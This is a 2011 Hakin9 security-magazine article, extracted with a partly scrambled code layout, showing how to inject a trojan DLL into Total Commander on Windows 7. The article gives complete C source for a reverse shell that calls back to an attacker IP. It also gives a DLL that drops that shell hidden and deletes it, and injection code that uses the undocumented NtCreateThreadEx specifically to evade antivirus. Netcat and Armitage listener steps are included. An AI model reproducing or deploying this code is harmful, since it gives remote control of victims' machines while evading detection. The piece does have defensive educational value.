Sie sind auf Seite 1von 8

Reverse Shell Through DLL Injection

Using Undocumented API Function


DLL Injection is a popular technique used by attackers to inject an executable file in order to perform a controlled code execution. Several methods for preventing this has been developed by Operating Systems creators, but (as we will see) without 100% success.
What you will learn
How a DLL Injection is performed on a box with Windows 7 Ultimate: a) by using a documented windows API function and b) by using an undocumented windows API function. This method will also bypass the windows essentials anti-virus. When the injection is performed, a private (yet undetectable) reverse shell is returned to the attacker (source code included). In addition, a method is presented of creating a PE executable le from a DLL at run time.

What you should know


This article refers to people who already know how to program in c or c++ and have a basic knowledge of windows API calls. In addition, some knowledge of exploitation techniques is needed as: What is a reverse shell and how it is used. How Netcat can be used to listen and process connections (http://netcat.sourceforge.net/ ). Basic use of metasploits Armitage (http://www.fastandeasyhac king.com).

will present two methods of a successful attack to windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. I prefer the latest method because the first one triggers an alarm of the windows security essentials anti-virus (http://is.gd/FkVx3A) while the second does not! In addition, an undetectable reverse shell (developed in c++) will be used in conjunction with a method for transferring or packing an executable inside another executable (or DLL). The final attack will be performed using two approaches: The traditional (manual) approach that I use Netcat only, and the... official approach where I use the well known Armitage of the Metasploit arsenal. Figures of the attack will be available to you as well as a short videos. Before we start I would like to clarify that this article is not a How to invade tutorial neither a method of how to install a Trojan to a victims box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7.

The Early Steps

In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander program (http:// www.ghisler.com), the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program in its local box I will immediately get a shell in my box with

Figure 1. Copy the byte code from my reverse shell executable

09/2011

Reverse shell through DLL Injection using undocumented API function

Listing 1. A Reverse shell for a windows box


/* AJVrs.c ),NULL,NULL,NULL,NULL) == SOCKET_ { ERROR) WSACleanup();

Reverse shell in win32

(c) by Andreas Venieris (aka thiseas) 2010 C:> cl AJVrs.c

Compile with VS 2008 from command line with cl: ****************************************************** #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") // Inform the linker that file is needed. #define DEFAULT_PORT 1234 #define DEFAULT_IP "192.168.1.70" WSADATA wsaData; // the Ws2_32.lib *********/

} // Starting shell by creating a new process with memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection i/o redirection.

theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process.

SOCKET Winsocket;

if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,

STARTUPINFO theProcess;

0,NULL,NULL,&theProcess,&info_ proc)==0)

PROCESS_INFORMATION info_proc;

struct sockaddr_in Winsocket_Structure; int main(int argc, char *argv[]) { char *IP = DEFAULT_IP;

WSACleanup();
return 1;

short port = DEFAULT_PORT;


if (argc == 3){

return 0;

strncpy(IP,argv[1],16); port = atoi(argv[2]);

WSAStartup(MAKEWORD(2,2), &wsaData);

Winsocket=WSASocket(AF_INET, SOCK_STREAM, NULL, (unsigned int) NULL);

IPPROTO_TCP,NULL, (unsigned int)

Winsocket_Structure.sin_port=htons(port); Winsocket_Structure.sin_family=AF_INET; addr(IP); Winsocket_Structure.sin_addr.s_addr=inet_

if(Winsocket==INVALID_SOCKET)

WSACleanup();
return 1;

if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Str

ucture,sizeof(Winsocket_Structure

www.hakin9.org/en

the same privileges as the Total Commander. To be specific, the method follows three steps:

Task 2: On victims box, run the reverse shell itself:


c:> AJVrs.exe <attackerIP> 1234

The Method
1. Check if Total Commander is running. 2. If it is running inject it, and return a reverse shell to a specific IP address, then continue running Total Commander. 3. If Total Commander is not running goto 1. My approach will use three programs: 1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack. 2. myDLL.DLL: Is the DLL that will be used as a Trojan horse. It will carry the reverse shell. One of its main responsibilities is when the event DLL _ PROCESS _ ATTACH occurs it will unpack the reverse shell to disk and execute it. 3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method.

Store the executable code of the reverse shell inside a program

Creating the reverse shell

I will present here my source code of my private reverse shell (Listing 1). The above program can be used as is (as a replaced of Netcat) or in conjunction with it.

We will store the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain later how). Thus, I have to get the byte code of my reverse shell and put it inside to another program. There are many methods to do this. The goal is to store the whole reverse shell executable inside a byte array and then write this byte array to disk with a new name. The new file that will be created will be a normal PE executable (http://en.wikipedia.org/wiki/ Portable_Executable)! I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View (Figure 1). I paste the select code in a new file; turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy (Figure 2). I put the selected bytes to a new file and I put a \x between every hexadecimal, as the following example indicates:
From ... ... To ... 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

Usage

To run the shell successfully we need to perform the following two tasks: Task 1: On attacker box run Netcat to listen for a connection:
on fedora : nc -l 1234

\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\ ... xFF\x00\x00

on ubuntu : nc -v -l -p 1234

on windows : nc -v -l -p 1234

Figure 2. Copy the byte code from my reverse shell executable

Figure 3. Copy the byte code from my reverse shell executable

09/2011

Reverse shell through DLL Injection using undocumented API function

The above task can be accomplished very quick if we replace all spaces with \x. But again we will lose the first characters on each line. So it is wise if first we move all the text one position on the right: Example
From: To:

Now, I must put every single line in double quotes. Using the column mode (Alt+C) I can easily enclose each line between double quotes () in order to meet my final goal (Figure 3). Ok, thats it. I save this file to disk with the name
MyTempByteCode.txt.

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

Step 3: Creating the DLL

Just to make one space.

Its time to create the DLL. It is the DLL that will be used as a Trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_

Listing 2. The source code of the Trojan DLL


// The Trojan DLL //

// (c) by Andreas Venieris (aka Thiseas) 2010 //////////////////////////////////////////////////// #include<stdio.h> #include <windows.h> // In recerseshell I just put contents of the file MyTempByteCode.txt char recerseshell[] = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" ... ...

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) case DLL_PROCESS_ATTACH: FILE *ptr ;

int i, len = sizeof(recerseshell); ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb");


for (i=0; i<len; i++)

fprintf(ptr, "%c",recerseshell[i]);

fclose(ptr); Sleep(1000); Sleep(1000); WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE); WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);

www.hakin9.org/en

Listing 3a. The program that triggers the DLL and makes an injection
// dllattack08.cpp // // (c) by Andreas Venieris (aka Thiseas) 2010 //////////////////////////////////////////////////// #include <windows.h> #include <TlHelp32.h> #include <shlwapi.h> #include <stdio.h> typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, // Add Lib: Shlwapi.lib } } } TRUE, Pc.th32ProcessID);

}while(Process32Next(hSnapshot, &Pc));

return NULL;

BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//


if(hmKernel == NULL || hProcess == NULL)

IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPVOID lpParameter,

heres the DLL

IN LPTHREAD_START_ROUTINE lpStartAddress, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, OUT LPVOID lpBytesBuffer

int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_ READWRITE);

return FALSE;

IN ULONG SizeOfStackReserve, );

if (lpvMem == NULL) return FALSE;

//Buffer argument passed to NtCreateThreadEx function struct NtCreateThreadExBuffer { ULONG Size;

if (!WriteProcessMemory(hProcess, lpvMem, return FALSE;

lpszDllPath, nPathLen, NULL))

ULONG Unknown1; ULONG Unknown2; ULONG Unknown4; ULONG Unknown6; ULONG Unknown8; PULONG Unknown3;

DWORD dwWaitResult= 0, dwExitResult = 0; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,

PULONG Unknown7; };

START_ROUTINE)GetProcAddress(hmKer nel, "LoadLibraryA"), lpvMem, 0, NULL);

(LPTHREAD_

HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD { *ProcessID)

dwWaitResult = WaitForSingleObject(hThread,

PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ; _SNAPALL, 0);

10000); // keep the dll injection

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS


if(Process32First(hSnapshot, &Pc)){

GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); RELEASE); VirtualFreeEx(hProcess, lpvMem, 0, MEM_


return (1);

action for 10 seconds before free.

do{

if(StrStrI(Pc.szExeFile, szExeName)) {

*ProcessID = Pc.th32ProcessID;

return OpenProcess(PROCESS_ALL_ACCESS,

else{

return (0);

09/2011

Reverse shell through DLL Injection using undocumented API function

Listing 3b. The program that triggers the DLL and makes an injection
} } &hThread, 0x1FFFFF, NULL, hProcess,

BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//


if(hmKernel == NULL || hProcess == NULL) return

E)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, NULL, NULL, &ntbuffer ); NULL,

(LPTHREAD_START_ROUTIN

heres the DLL FALSE;

FALSE, //start instantly

int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_ READWRITE);

WriteProcessMemory(hProcess, lpvMem, lpszDllPath, DWORD dwWaitResult, dwExitResult = 0; HMODULE modNtDll = GetModuleHandle(L"ntdll.dll");


if( !modNtDll )

nPathLen, NULL);

if(hThread != NULL){

dwWaitResult = WaitForSingleObject(hThread,

10000); // keep the dll injection

{ }

GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); RELEASE); VirtualFreeEx(hProcess, lpvMem, 0, MEM_


return (1);

action for 10 seconds before free.

return 0;

LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) "NtCreateThreadEx");


if( !funNtCreateThreadEx )

GetProcAddress(modNtDll,

else{

} }

return (0);

{ }

return 0;

int ActivateSeDebugPrivilege(void){ HANDLE hToken; LUID Val;

NtCreateThreadExBuffer ntbuffer; r));

memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffe DWORD temp1 = 0; DWORD temp2 = 0;

TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_

ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))

ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown4 = 0; ntbuffer.Unknown6 = 4; ntbuffer.Unknown8 = 0; HANDLE hThread;

return(GetLastError());

ntbuffer.Unknown3 = 0;//&temp2; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown7 = &temp1;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, return(GetLastError());

&Val))

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = Val; ENABLED;

tp.Privileges[0].Attributes = SE_PRIVILEGE_

NTSTATUS status = funNtCreateThreadEx(

if (!AdjustTokenPrivileges(hToken, FALSE, &tp,

www.hakin9.org/en

occurs it will unpack the reverse shell to disk and execute it. I created using C++ in Microsoft Visual Studio 2008 (Listing 2). The source code is self-explanatory: When the attach process will be triggered, I will write the reverse byte code to a file, I will execute it (in order to open the reverse shell) and I will delete it from the disk in order to hide my tracks.
ATTACH

Step 4: Performing the injection

Now I need a program to trigger the above DLL. This is my 3nd program that comes into play: dllattack08.exe: It is the one that will perform the actual injection to Total Commander using a documented API function and an undocumented API one (the stealth case). I create the program using C++ VS 2008 (Listing 3). I believe that in Listing 3 some things need clarification. The function that performs the actual DLL injection using the documented API CreateRemoteThread is:
DllInject(hProcess, \\DLLInjection\\myDLL.dll)

Figure 4. When Dll injection in windows is performed the attacker (ubuntu) gets a reverse shell

The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL filename that will be attached to the injected executable. As you can see this is open enough to accept anything you like... ;)

Listing 3c. The program that triggers the DLL and makes an injection
return(GetLastError());

sizeof (tp), NULL, NULL))

CloseHandle(hToken);

printf("\nFound! Try to inject...");


if (!ProcessIdToSessionId( GetCurrentProcessId(),

}while(hProcess == NULL);

Sleep(1);

} int main(int argc, char *argv[]) { DWORD CurrentSessionID, RemoteSessionID, LPCWSTR lpVictimProcess = TEXT("totalcmd.exe"); char *cpVictimProcess = "totalcmd.exe"; printf("DLL Injection.\n"); RemoteProcessID;

&CurrentSessionID ))

printf("\nFailed to get the current session

with error %d", GetLastError());

if (!ProcessIdToSessionId( RemoteProcessID,

&RemoteSessionID ))

printf("\nFailed to get the remote session

if ( ActivateSeDebugPrivilege() == 1) else

with error %d", GetLastError());

printf("Get All Privilege.\n");

if (DllInject_2(hProcess, "\\DLLInjection\\

printf("Cannot Get All Privilege.\n");

printf("Waiting for process

else

printf("\nSUCCESSFUL!\n"); printf("\nFailed!\n");

myDLL.dll"))

%s...",cpVictimProcess); }

HANDLE hProcess; do{ hProcess = GetProcessHandle(lpVictimPro cess, &RemoteProcessID);

return 0;

09/2011

Reverse shell through DLL Injection using undocumented API function

Sample Video of an attack:

[1]. Case I: Total Commander is already open http://rapidshare.com/files/454308917/Dll-Inject-AttackVideo.rar [2]. Case II: Total Commander is opened after the injection https://rapidshare.com/les/3697690472/Dll-Inject-Attack_ II.rar

The undocumented API call is implemented in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code:
From To

if (DllInject(hProcess, \\DLLInjection\\myDLL.dll))

if (DllInject_2(hProcess, \\DLLInjection\\myDLL.dll))

Figure 5. Start a listener to my reverse shell

And thats it. You become stealth!

interesting topic is the use of the function as an effort to obtain as many privileges as possible. Microsoft states that: By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do. (http://support.microsoft.com/kb/185215) This is interesting indeed. According to my tests, the above is not 100% true for windows 7, but it was worth a try... anyway. An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyze undocumented Windows API functions is another story (indeed challenging) that I will try to explain in another article.
SeDebugPrivilege

Another

Attacking using the manual way

Below is an example of the attack using the manual (traditional) way: Figure 4.

Attacking using Metasploit Armitage

Metasploit (http://www.metasploit.com/) is a professional tool for pen testers and not only. Armitage (http://www. fastandeasyhacking.com/) is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here: Figure 5 and 6. One of the interesting things here is that any reverse shell can be used. You can (for example) create an encrypted one using Metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code are open enough to support such techniques.

ANDREAS VENIERIS
Andreas lives in Athens, Greece. He is a programmer and a security enthusiast. He holds a BSc in Statistics from University of Piraeus and a MSc in Articial Intelligence from department of Computer Science from University of London. He was a PhD candidate with a scholarship in Department of Informatics of University of Piraeus. He has participated in several conferences including AthCon 2010 and 2011, OpenSources and as a member at NATO Cyber Defense Exercises. He has contributed to the design and implementation of several commercial for more than 10 years. He has worked as an editor in several security magazines. He is also a core developer of the OWASP Hackademic project and other Open Source projects.

Figure 6. You just get the control of the windows box

www.hakin9.org/en